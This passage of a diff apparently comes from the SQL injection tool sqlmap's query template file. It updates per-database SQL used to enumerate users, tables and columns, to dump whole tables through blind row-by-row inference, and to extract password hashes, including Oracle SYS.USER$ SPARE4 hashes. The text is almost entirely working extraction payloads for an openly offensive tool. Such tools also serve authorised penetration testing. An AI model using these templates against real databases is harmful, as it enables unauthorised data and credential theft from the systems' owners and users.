<blind query="SELECT TOP 1 %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') AND %s..sysusers.name+'.'+%s..sysobjects.name NOT IN (SELECT TOP %d %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name) ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT TOP 1 table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' AND table_schema+'.'+table_name NOT IN (SELECT TOP %d table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' ORDER BY table_schema+'.'+table_name) ORDER BY table_schema+'.'+table_name" count2="SELECT LTRIM(STR(COUNT(table_name))) FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT TOP 1 name FROM %s..sysobjects WHERE xtype='U' AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE xtype='U' ORDER BY name) ORDER BY name" count3="SELECT COUNT(name) FROM %s..sysobjects WHERE xtype='U'"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT %s..syscolumns.name,TYPE_NAME(%s..syscolumns.xtype) AS type_name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query2="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" condition="[DB]..syscolumns.name"/>
|
||||
<blind query="SELECT TOP 1 %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' AND %s..syscolumns.name NOT IN (SELECT TOP %d %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' ORDER BY %s..syscolumns.name) ORDER BY %s..syscolumns.name" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query3="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')" condition="[DB]..syscolumns.name"/>
|
||||
<inband query="SELECT %s..syscolumns.name,TYPE_NAME(%s..syscolumns.xtype) AS type_name FROM %s..syscolumns WHERE %s..syscolumns.id=OBJECT_ID('%s.%s')" query2="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" condition="[DB]..syscolumns.name"/>
|
||||
<blind query="SELECT TOP 1 %s..syscolumns.name FROM %s..syscolumns WHERE %s..syscolumns.id=OBJECT_ID('%s.%s') AND %s..syscolumns.name NOT IN (SELECT TOP %d %s..syscolumns.name FROM %s..syscolumns WHERE %s..syscolumns.id=OBJECT_ID('%s.%s') ORDER BY %s..syscolumns.name) ORDER BY %s..syscolumns.name" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=OBJECT_ID('%s.%s')" query3="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=OBJECT_ID('%s.%s')" condition="[DB]..syscolumns.name"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s"/>
|
||||
<blind query="SELECT MIN(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s) LIKE '%s'" query3="SELECT %s FROM (SELECT %s, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS CAP FROM %s)x WHERE CAP=%d" count="SELECT LTRIM(STR(COUNT(*))) FROM %s" count2="SELECT LTRIM(STR(COUNT(DISTINCT(%s)))) FROM %s"/>
|
||||
<blind query="SELECT MIN(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s) LIKE '%s'" query3="SELECT %s FROM (SELECT *, %s AS SQLMAPCAPVAL, ROW_NUMBER() OVER (ORDER BY %s) AS CAP FROM %s)x WHERE CAP=%d" count="SELECT LTRIM(STR(COUNT(*))) FROM %s" count2="SELECT LTRIM(STR(COUNT(DISTINCT(%s)))) FROM %s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" keyset_ordered="SELECT TOP 1 %s FROM %s WHERE %s ORDER BY %s" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
|
||||
<primary_key count="SELECT COUNT(*) FROM sys.indexes i JOIN sys.index_columns ic ON i.object_id=ic.object_id AND i.index_id=ic.index_id WHERE i.is_primary_key=1 AND i.object_id=OBJECT_ID('%s.dbo.%s')" query="SELECT name FROM (SELECT c.name AS name, ROW_NUMBER() OVER (ORDER BY ic.key_ordinal) AS rn FROM sys.indexes i JOIN sys.index_columns ic ON i.object_id=ic.object_id AND i.index_id=ic.index_id JOIN sys.columns c ON ic.object_id=c.object_id AND c.column_id=ic.column_id WHERE i.is_primary_key=1 AND i.object_id=OBJECT_ID('%s.dbo.%s')) x WHERE rn=%d+1"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT name FROM master..sysdatabases WHERE %s" condition="name"/>
|
||||
@@ -264,8 +280,8 @@
|
||||
<blind query="SELECT USERNAME FROM (SELECT USERNAME,ROWNUM AS CAP FROM SYS.ALL_USERS) WHERE CAP=%d" count="SELECT COUNT(USERNAME) FROM SYS.ALL_USERS"/>
|
||||
</users>
|
||||
<passwords>
|
||||
<inband query="SELECT NAME,PASSWORD FROM SYS.USER$" condition="NAME"/>
|
||||
<blind query="SELECT PASSWORD FROM (SELECT PASSWORD,ROWNUM AS CAP FROM SYS.USER$ WHERE NAME='%s') WHERE CAP=%d" count="SELECT COUNT(PASSWORD) FROM SYS.USER$ WHERE NAME='%s'"/>
|
||||
<inband query="SELECT NAME,COALESCE(REGEXP_SUBSTR(SPARE4,'S:[0-9A-F]{60}'),REGEXP_SUBSTR(SPARE4,'T:[0-9A-F]{160}'),PASSWORD) FROM SYS.USER$" condition="NAME"/>
|
||||
<blind query="SELECT COALESCE(REGEXP_SUBSTR(SPARE4,'S:[0-9A-F]{60}'),REGEXP_SUBSTR(SPARE4,'T:[0-9A-F]{160}'),PASSWORD) FROM (SELECT SPARE4,PASSWORD,ROWNUM AS CAP FROM SYS.USER$ WHERE NAME='%s') WHERE CAP=%d" count="SELECT COUNT(*) FROM SYS.USER$ WHERE NAME='%s'"/>
|
||||
</passwords>
|
||||
<!--
|
||||
NOTE: in Oracle to enumerate the privileges for the session user you can use:
|
||||
@@ -287,14 +303,19 @@
|
||||
<inband query="SELECT SQL_TEXT FROM V$SQL"/>
|
||||
<blind query="SELECT SQL_TEXT FROM (SELECT SQL_TEXT,ROWNUM AS CAP FROM V$SQL WHERE SQL_TEXT NOT LIKE '%%SQL_TEXT%%') WHERE CAP=%d" count="SELECT COUNT(SQL_TEXT) FROM V$SQL WHERE SQL_TEXT NOT LIKE '%%SQL_TEXT%%'"/>
|
||||
</statements>
|
||||
<!-- NOTE: ALL_SOURCE stores one row per source line, so LISTAGG reassembles them (subject to its 4000-char limit). ORACLE_MAINTAINED='N' (12.2+) cleanly excludes every Oracle built-in schema (SYS, WMSYS, LBACSYS, DVSYS, ...) instead of a hand-maintained blocklist. -->
|
||||
<procedures>
|
||||
<inband query="SELECT NAME||' ['||TYPE||'] '||(SELECT LISTAGG(TEXT ON OVERFLOW TRUNCATE) WITHIN GROUP (ORDER BY LINE) FROM ALL_SOURCE WHERE NAME=s.NAME AND OWNER=s.OWNER AND TYPE=s.TYPE) FROM (SELECT DISTINCT OWNER,NAME,TYPE FROM ALL_SOURCE WHERE TYPE IN ('PROCEDURE','FUNCTION') AND OWNER IN (SELECT USERNAME FROM ALL_USERS WHERE ORACLE_MAINTAINED='N')) s"/>
|
||||
<blind query="SELECT NAME||' ['||TYPE||'] '||(SELECT LISTAGG(TEXT ON OVERFLOW TRUNCATE) WITHIN GROUP (ORDER BY LINE) FROM ALL_SOURCE WHERE NAME=s.NAME AND OWNER=s.OWNER AND TYPE=s.TYPE) FROM (SELECT DISTINCT OWNER,NAME,TYPE FROM ALL_SOURCE WHERE TYPE IN ('PROCEDURE','FUNCTION') AND OWNER IN (SELECT USERNAME FROM ALL_USERS WHERE ORACLE_MAINTAINED='N')) s ORDER BY NAME OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" count="SELECT COUNT(*) FROM (SELECT DISTINCT OWNER,NAME,TYPE FROM ALL_SOURCE WHERE TYPE IN ('PROCEDURE','FUNCTION') AND OWNER IN (SELECT USERNAME FROM ALL_USERS WHERE ORACLE_MAINTAINED='N'))"/>
|
||||
</procedures>
|
||||
<!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
|
||||
<dbs>
|
||||
<inband query="SELECT OWNER FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)"/>
|
||||
<blind query="SELECT OWNER FROM (SELECT OWNER,ROWNUM AS CAP FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)) WHERE CAP=%d" count="SELECT COUNT(DISTINCT(OWNER)) FROM SYS.ALL_TABLES"/>
|
||||
</dbs>
|
||||
<tables>
|
||||
<inband query="SELECT OWNER,TABLE_NAME FROM SYS.ALL_TABLES" condition="OWNER"/>
|
||||
<blind query="SELECT TABLE_NAME FROM (SELECT TABLE_NAME,ROWNUM AS CAP FROM SYS.ALL_TABLES WHERE OWNER='%s') WHERE CAP=%d" count="SELECT COUNT(TABLE_NAME) FROM SYS.ALL_TABLES WHERE OWNER='%s'"/>
|
||||
<inband query="SELECT OWNER,OBJECT_NAME FROM SYS.ALL_OBJECTS WHERE OBJECT_TYPE IN ('TABLE','VIEW') AND OBJECT_NAME NOT LIKE 'BIN$%%'" condition="OWNER"/>
|
||||
<blind query="SELECT OBJECT_NAME FROM (SELECT OBJECT_NAME,ROWNUM AS CAP FROM SYS.ALL_OBJECTS WHERE OWNER='%s' AND OBJECT_TYPE IN ('TABLE','VIEW') AND OBJECT_NAME NOT LIKE 'BIN$%%') WHERE CAP=%d" count="SELECT COUNT(OBJECT_NAME) FROM SYS.ALL_OBJECTS WHERE OWNER='%s' AND OBJECT_TYPE IN ('TABLE','VIEW') AND OBJECT_NAME NOT LIKE 'BIN$%%'"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT COLUMN_NAME,DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" condition="COLUMN_NAME"/>
|
||||
@@ -302,7 +323,8 @@
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s ORDER BY ROWNUM"/>
|
||||
<blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS CAP FROM %s qq ORDER BY ROWNUM) WHERE CAP=%d" count="SELECT COUNT(*) FROM %s"/>
|
||||
<blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS CAP FROM %s qq ORDER BY ROWNUM) WHERE CAP=%d" count="SELECT COUNT(*) FROM %s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" keyset_ordered="SELECT c FROM (SELECT %s AS c FROM %s WHERE %s ORDER BY %s) WHERE ROWNUM=1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
|
||||
<primary_key count="SELECT COUNT(*) FROM all_cons_columns cols, all_constraints cons WHERE cons.constraint_type='P' AND cons.constraint_name=cols.constraint_name AND cons.owner=cols.owner AND UPPER(cols.owner)=UPPER('%s') AND UPPER(cols.table_name)=UPPER('%s')" query="SELECT column_name FROM (SELECT cols.column_name, ROW_NUMBER() OVER (ORDER BY cols.position) AS rn FROM all_cons_columns cols, all_constraints cons WHERE cons.constraint_type='P' AND cons.constraint_name=cols.constraint_name AND cons.owner=cols.owner AND UPPER(cols.owner)=UPPER('%s') AND UPPER(cols.table_name)=UPPER('%s')) WHERE rn=%d+1"/>
|
||||
</dump_table>
|
||||
<!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
|
||||
<search_db>
|
||||
@@ -362,7 +384,7 @@
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s"/>
|
||||
<blind query="SELECT %s FROM %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s"/>
|
||||
<blind query="SELECT %s FROM %s ORDER BY rowid LIMIT %d,1" count="SELECT COUNT(*) FROM %s" rowid="rowid" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
|
||||
</dump_table>
|
||||
<search_db/>
|
||||
<search_table>
|
||||
@@ -418,8 +440,8 @@
|
||||
|
||||
<dbms value="Firebird">
|
||||
<!--Firebird doesn't like big VARCHARs-->
|
||||
<cast query="TRIM(CAST(%s AS VARCHAR(8000)))"/>
|
||||
<length query="CHAR_LENGTH(TRIM(%s))"/>
|
||||
<cast query="TRIM(TRAILING FROM CAST(%s AS VARCHAR(8000)))"/>
|
||||
<length query="CHAR_LENGTH(TRIM(TRAILING FROM %s))"/>
|
||||
<delimiter query="||"/>
|
||||
<limit query="ROWS %d TO %d"/>
|
||||
<limitregexp query="\s+ROWS\s+([\d]+)(\s+TO\s+([\d]+))?"/>
|
||||
@@ -442,16 +464,16 @@
|
||||
<column_comment/>
|
||||
<is_dba query="CURRENT_USER='SYSDBA'"/>
|
||||
<users>
|
||||
<inband query="SELECT RDB$USER FROM RDB$USER_PRIVILEGES"/>
|
||||
<blind query="SELECT FIRST 1 SKIP %d DISTINCT(RDB$USER) FROM RDB$USER_PRIVILEGES" count="SELECT COUNT(DISTINCT(RDB$USER)) FROM RDB$USER_PRIVILEGES"/>
|
||||
<inband query="SELECT RDB$USER FROM RDB$USER_PRIVILEGES WHERE RDB$USER_TYPE=8"/>
|
||||
<blind query="SELECT FIRST 1 SKIP %d DISTINCT(RDB$USER) FROM RDB$USER_PRIVILEGES WHERE RDB$USER_TYPE=8" count="SELECT COUNT(DISTINCT(RDB$USER)) FROM RDB$USER_PRIVILEGES WHERE RDB$USER_TYPE=8"/>
|
||||
</users>
|
||||
<tables>
|
||||
<inband query="SELECT RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)"/>
|
||||
<blind query="SELECT FIRST 1 SKIP %d RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)" count="SELECT COUNT(RDB$RELATION_NAME) FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)"/>
|
||||
</tables>
|
||||
<privileges>
|
||||
<inband query="SELECT RDB$USER,RDB$PRIVILEGE FROM RDB$USER_PRIVILEGES" condition="RDB$USER"/>
|
||||
<blind query="SELECT FIRST 1 SKIP %d DISTINCT(RDB$PRIVILEGE) FROM RDB$USER_PRIVILEGES WHERE RDB$USER='%s'" count="SELECT COUNT(DISTINCT(RDB$PRIVILEGE)) FROM RDB$USER_PRIVILEGES WHERE RDB$USER='%s'"/>
|
||||
<inband query="SELECT RDB$USER,RDB$PRIVILEGE FROM RDB$USER_PRIVILEGES WHERE RDB$USER_TYPE=8" condition="RDB$USER"/>
|
||||
<blind query="SELECT FIRST 1 SKIP %d DISTINCT(RDB$PRIVILEGE) FROM RDB$USER_PRIVILEGES WHERE RDB$USER='%s' AND RDB$USER_TYPE=8" count="SELECT COUNT(DISTINCT(RDB$PRIVILEGE)) FROM RDB$USER_PRIVILEGES WHERE RDB$USER='%s' AND RDB$USER_TYPE=8"/>
|
||||
</privileges>
|
||||
<roles/>
|
||||
<statements/>
|
||||
@@ -463,7 +485,7 @@
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s"/>
|
||||
<blind query="SELECT FIRST 1 SKIP %d %s FROM %s" count="SELECT COUNT(*) FROM %s"/>
|
||||
<blind query="SELECT FIRST 1 SKIP %d %s FROM %s ORDER BY %s" count="SELECT COUNT(*) FROM %s"/>
|
||||
</dump_table>
|
||||
<search_db/>
|
||||
<search_table>
|
||||
@@ -533,8 +555,8 @@
|
||||
</dbms>
|
||||
|
||||
<dbms value="Sybase">
|
||||
<cast query="CONVERT(VARCHAR(4000),%s)"/>
|
||||
<length query="LTRIM(STR(LEN(%s)))"/>
|
||||
<cast query="CONVERT(VARCHAR(16384),%s)"/>
|
||||
<length query="LTRIM(STR(LEN(%s+'.')-1))"/>
|
||||
<isnull query="ISNULL(%s,' ')"/>
|
||||
<delimiter query="+"/>
|
||||
<limit query="SELECT TOP %d "/>
|
||||
@@ -548,7 +570,7 @@
|
||||
<substring query="SUBSTRING((%s),%d,%d)"/>
|
||||
<concatenate query="%s+%s"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
|
||||
<hex query="BINTOSTR(CONVERT(VARBINARY,%s))"/>
|
||||
<hex query="BINTOSTR(CONVERT(VARBINARY(16384),%s))"/>
|
||||
<inference query="ASCII(SUBSTRING((%s),%d,1))>%d"/>
|
||||
<banner query="SELECT @@VERSION"/>
|
||||
<current_user query="SELECT SUSER_NAME()"/>
|
||||
@@ -576,7 +598,7 @@
|
||||
<blind/>
|
||||
</dbs>
|
||||
<tables>
|
||||
<inband query="SELECT name FROM %s..sysobjects WHERE type IN ('U')"/>
|
||||
<inband query="SELECT name FROM %s..sysobjects WHERE type IN ('U','V')"/>
|
||||
<blind/>
|
||||
</tables>
|
||||
<columns>
|
||||
@@ -585,7 +607,7 @@
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s"/>
|
||||
<blind query="SELECT MIN(%s) FROM %s WHERE CONVERT(VARCHAR(4000),%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONVERT(VARCHAR(4000),%s) LIKE '%s'" count="SELECT COUNT(*) FROM %s" count2="SELECT COUNT(*) FROM (SELECT DISTINCT %s FROM %s) AS qq"/>
|
||||
<blind query="SELECT MIN(%s) FROM %s WHERE CONVERT(VARCHAR(16384),%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONVERT(VARCHAR(16384),%s) LIKE '%s'" count="SELECT COUNT(*) FROM %s" count2="SELECT COUNT(*) FROM (SELECT DISTINCT %s FROM %s) AS qq"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT name FROM master..sysdatabases WHERE %s" condition="name"/>
|
||||
@@ -602,9 +624,9 @@
|
||||
</dbms>
|
||||
|
||||
<dbms value="IBM DB2">
|
||||
<!-- Casting to varchar does not work with version < v9, so we had to use char(254) instead -->
|
||||
<cast query="RTRIM(CAST(%s AS CHAR(254)))"/>
|
||||
<length query="LENGTH(RTRIM(CAST(%s AS CHAR(254))))"/>
|
||||
<!-- VARCHAR(32672) (DB2 max), not CHAR(254) which silently truncated values >254 chars; RTRIM kept to strip CHAR-column blank padding (DB2 <v9, which lacked the VARCHAR cast, is long unsupported) -->
|
||||
<cast query="RTRIM(CAST(%s AS VARCHAR(32672)))"/>
|
||||
<length query="CHARACTER_LENGTH(RTRIM(CAST(%s AS VARCHAR(32672))),CODEUNITS32)"/>
|
||||
<isnull query="COALESCE(%s,' ')"/>
|
||||
<delimiter query="||"/>
|
||||
<limit query="ROW_NUMBER() OVER () AS CAP %s) AS qq WHERE CAP"/>
|
||||
@@ -616,11 +638,11 @@
|
||||
<count query="COUNT(%s)"/>
|
||||
<comment query="--"/>
|
||||
<!-- TODO -->
|
||||
<substring query="SUBSTR((%s),%d,%d)"/>
|
||||
<substring query="SUBSTRING((%s),%d,%d,CODEUNITS32)"/>
|
||||
<concatenate query="%s||%s"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END) FROM SYSIBM.SYSDUMMY1"/>
|
||||
<hex query="HEX(%s)"/>
|
||||
<inference query="SUBSTR((%s),%d,1)>'%c'"/>
|
||||
<inference query="SUBSTRING((%s),%d,1,CODEUNITS32)>'%c'"/>
|
||||
<!-- NOTE: We have to use the complicated UDB OLAP functions in query2 because sqlmap injects isnull query inside MAX function, else we would use: SELECT MAX(versionnumber) FROM sysibm.sysversions -->
|
||||
<banner query="SELECT service_level FROM TABLE(sysproc.env_get_inst_info())" query2="SELECT versionnumber FROM (SELECT ROW_NUMBER() OVER (ORDER BY versionnumber DESC) AS CAP,versionnumber FROM sysibm.sysversions) AS qq WHERE CAP=1"/>
|
||||
<current_user query="SELECT user FROM SYSIBM.SYSDUMMY1"/>
|
||||
@@ -648,8 +670,8 @@
|
||||
<blind query="SELECT schemaname FROM (SELECT ROW_NUMBER() OVER () AS CAP,schemaname FROM syscat.schemata) AS qq WHERE CAP=%d" count="SELECT COUNT(schemaname) FROM syscat.schemata"/>
|
||||
</dbs>
|
||||
<tables>
|
||||
<inband query="SELECT tabschema,tabname FROM sysstat.tables" condition="tabschema"/>
|
||||
<blind query="SELECT tabname FROM (SELECT ROW_NUMBER() OVER () AS CAP,tabname FROM sysstat.tables WHERE tabschema='%s') AS qq WHERE CAP=INT('%d')" count="SELECT COUNT(*) FROM sysstat.tables WHERE tabschema='%s'"/>
|
||||
<inband query="SELECT tabschema,tabname FROM syscat.tables WHERE type IN ('T','V')" condition="tabschema"/>
|
||||
<blind query="SELECT tabname FROM (SELECT ROW_NUMBER() OVER () AS CAP,tabname FROM syscat.tables WHERE tabschema='%s' AND type IN ('T','V')) AS qq WHERE CAP=INT('%d')" count="SELECT COUNT(*) FROM syscat.tables WHERE tabschema='%s' AND type IN ('T','V')"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT name,RTRIM(coltype)||'('||RTRIM(CAST(length AS CHAR(254)))||')' FROM sysibm.syscolumns WHERE tbname='%s' AND tbcreator='%s'" condition="name"/>
|
||||
@@ -657,19 +679,19 @@
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s"/>
|
||||
<blind query="SELECT ENTRY_VALUE FROM (SELECT ROW_NUMBER() OVER () AS CAP,%s AS ENTRY_VALUE FROM %s) AS qq WHERE CAP=%d" count="SELECT COUNT(*) FROM %s"/>
|
||||
<blind query="SELECT ENTRY_VALUE FROM (SELECT ROW_NUMBER() OVER (ORDER BY %s) AS CAP,%s AS ENTRY_VALUE FROM %s) AS qq WHERE CAP=%d" count="SELECT COUNT(*) FROM %s"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT schemaname FROM syscat.schemata WHERE %s" condition="schemaname"/>
|
||||
<blind query="SELECT schemaname FROM (SELECT DISTINCT(schemaname) FROM syscat.schemata WHERE %s) AS qq" count="SELECT COUNT(DISTINCT(schemaname)) FROM syscat.schemata WHERE %s" condition="schemaname"/>
|
||||
</search_db>
|
||||
<search_table>
|
||||
<inband query="SELECT tabschema,tabname FROM sysstat.tables WHERE %s" condition="tabname" condition2="tabschema"/>
|
||||
<blind query="SELECT tabschema FROM (SELECT DISTINCT(tabschema) FROM sysstat.tables WHERE %s) AS qq" query2="SELECT DISTINCT(tabname) FROM sysstat.tables WHERE tabschema='%s'" count="SELECT COUNT(DISTINCT(tabschema)) FROM sysstat.tables WHERE %s" count2="SELECT COUNT(tabname) FROM sysstat.tables WHERE tabschema='%s'" condition="tabname" condition2="tabschema"/>
|
||||
<inband query="SELECT tabschema,tabname FROM syscat.tables WHERE (%s) AND type IN ('T','V')" condition="tabname" condition2="tabschema"/>
|
||||
<blind query="SELECT tabschema FROM (SELECT DISTINCT(tabschema) FROM syscat.tables WHERE (%s) AND type IN ('T','V')) AS qq" query2="SELECT DISTINCT(tabname) FROM syscat.tables WHERE tabschema='%s' AND type IN ('T','V')" count="SELECT COUNT(DISTINCT(tabschema)) FROM syscat.tables WHERE (%s) AND type IN ('T','V')" count2="SELECT COUNT(tabname) FROM syscat.tables WHERE tabschema='%s' AND type IN ('T','V')" condition="tabname" condition2="tabschema"/>
|
||||
</search_table>
|
||||
<search_column>
|
||||
<inband query="SELECT tabschema,tabname FROM sysstat.columns WHERE %s" condition="colname" condition2="tabschema" condition3="tabname"/>
|
||||
<blind query="SELECT tabschema FROM (SELECT DISTINCT(tabschema) FROM sysstat.columns WHERE %s) AS qq" query2="SELECT DISTINCT(tabname) FROM sysstat.columns WHERE tabschema='%s'" count="SELECT COUNT(DISTINCT(tabschema)) FROM sysstat.columns WHERE %s" count2="SELECT COUNT(DISTINCT(tabname)) FROM sysstat.columns WHERE tabschema='%s'" condition="colname" condition2="tabschema" condition3="tabname"/>
|
||||
<inband query="SELECT tabschema,tabname FROM syscat.columns WHERE %s" condition="colname" condition2="tabschema" condition3="tabname"/>
|
||||
<blind query="SELECT tabschema FROM (SELECT DISTINCT(tabschema) FROM syscat.columns WHERE %s) AS qq" query2="SELECT DISTINCT(tabname) FROM syscat.columns WHERE tabschema='%s'" count="SELECT COUNT(DISTINCT(tabschema)) FROM syscat.columns WHERE %s" count2="SELECT COUNT(DISTINCT(tabname)) FROM syscat.columns WHERE tabschema='%s'" condition="colname" condition2="tabschema" condition3="tabname"/>
|
||||
</search_column>
|
||||
</dbms>
|
||||
|
||||
@@ -726,7 +748,8 @@
|
||||
<inband query="SELECT column_name,type_name FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE table_name='%s' AND table_schem='%s' ORDER BY column_name" condition="column_name"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
|
||||
<primary_key count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS tc JOIN INFORMATION_SCHEMA.KEY_COLUMN_USAGE kcu ON tc.CONSTRAINT_NAME=kcu.CONSTRAINT_NAME AND tc.TABLE_SCHEMA=kcu.TABLE_SCHEMA WHERE tc.CONSTRAINT_TYPE='PRIMARY KEY' AND UPPER(tc.TABLE_SCHEMA)=UPPER('%s') AND UPPER(tc.TABLE_NAME)=UPPER('%s')" query="SELECT kcu.COLUMN_NAME FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS tc JOIN INFORMATION_SCHEMA.KEY_COLUMN_USAGE kcu ON tc.CONSTRAINT_NAME=kcu.CONSTRAINT_NAME AND tc.TABLE_SCHEMA=kcu.TABLE_SCHEMA WHERE tc.CONSTRAINT_TYPE='PRIMARY KEY' AND UPPER(tc.TABLE_SCHEMA)=UPPER('%s') AND UPPER(tc.TABLE_NAME)=UPPER('%s') ORDER BY kcu.ORDINAL_POSITION LIMIT 1 OFFSET %d"/>
|
||||
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
@@ -790,7 +813,8 @@
|
||||
<inband query="SELECT COLUMN_NAME,DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND TABLE_SCHEMA='%s' ORDER BY COLUMN_NAME" condition="COLUMN_NAME" query2="SELECT COLUMN_NAME,TYPE_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND TABLE_SCHEMA='%s' ORDER BY COLUMN_NAME" condition2="COLUMN_NAME"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
